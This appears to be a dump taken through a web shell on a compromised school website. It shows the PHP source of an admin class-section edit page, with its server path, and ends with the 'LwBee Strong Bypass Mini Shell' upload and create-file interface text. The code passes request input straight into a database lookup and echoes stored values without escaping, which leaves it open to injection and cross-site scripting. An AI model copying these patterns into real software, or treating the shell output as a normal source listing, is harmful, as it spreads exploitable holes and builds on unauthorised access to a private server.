/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/section_edit.php
<?php
  include('include/header.php');
  if(!empty($_GET['edit'])){
    $select = select_sectionData($_GET['edit']);
    $section = mysqli_fetch_array($select);
}
$select_class = select_class();
 
?>


  <main id="main" class="main">

    <div class="pagetitle">
  <h1>Apple IIT Schools</h1>
      <nav>
        <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item ">Class List Edit</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Update Class List</h5>

               <?php
 if(!empty($_POST['submit'])){
    section_editData();
}
  
?>
    <form  method="post" onsubmit="return book_validation()"> 
      <div class="row">
          <div class="col-md-3 mt-4">
            <label for="exampleInputEmail1" class="form-label">Class Name</label>
              <select name="class_name" id="class_name" class="form-control" required>
              <option value="">Please Select Class</option>
              <?php
                  while($class = mysqli_fetch_array($select_class)){
              ?>
              <option value="<?= $class['name']?>" <?php if($class['name'] == $section['class'] ){ echo 'selected';}?>><?= $class['name']?></option>
              <?php
                   }
              ?>
           </select>
            
        </div>
          <div class="col-md-3 mt-4">
            <label for="exampleInputEmail1" class="form-label">Class Section</label>
            <input type="text" class="form-control" id="section" name="section" value="<?= $section['section']?>">
            
        </div>
      </div>
        <input type="hidden" name="edit_data" value="<?= $section['id']?>">
        <div class="mt-4">
        <input type="submit" class="btn" value="Update" name="submit" style="background-color:#69F0AE;">
        <a href="section_file.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
        </div>
        
    </form>



               

            </div>
          </div>

        </div>
      </div>
    </section>

  </main> 
 
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  <script>
    function book_validation()
    {
      
        var branchname = $('#branch_name').val();
        var academic = $('#academic').val();
       
        if(branchname == '')
        {
          swal('Please Enter Branch Name');
          return false;
        }
      
       
        else{
          return true;
        }
    }
  </script>


  <?php  include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File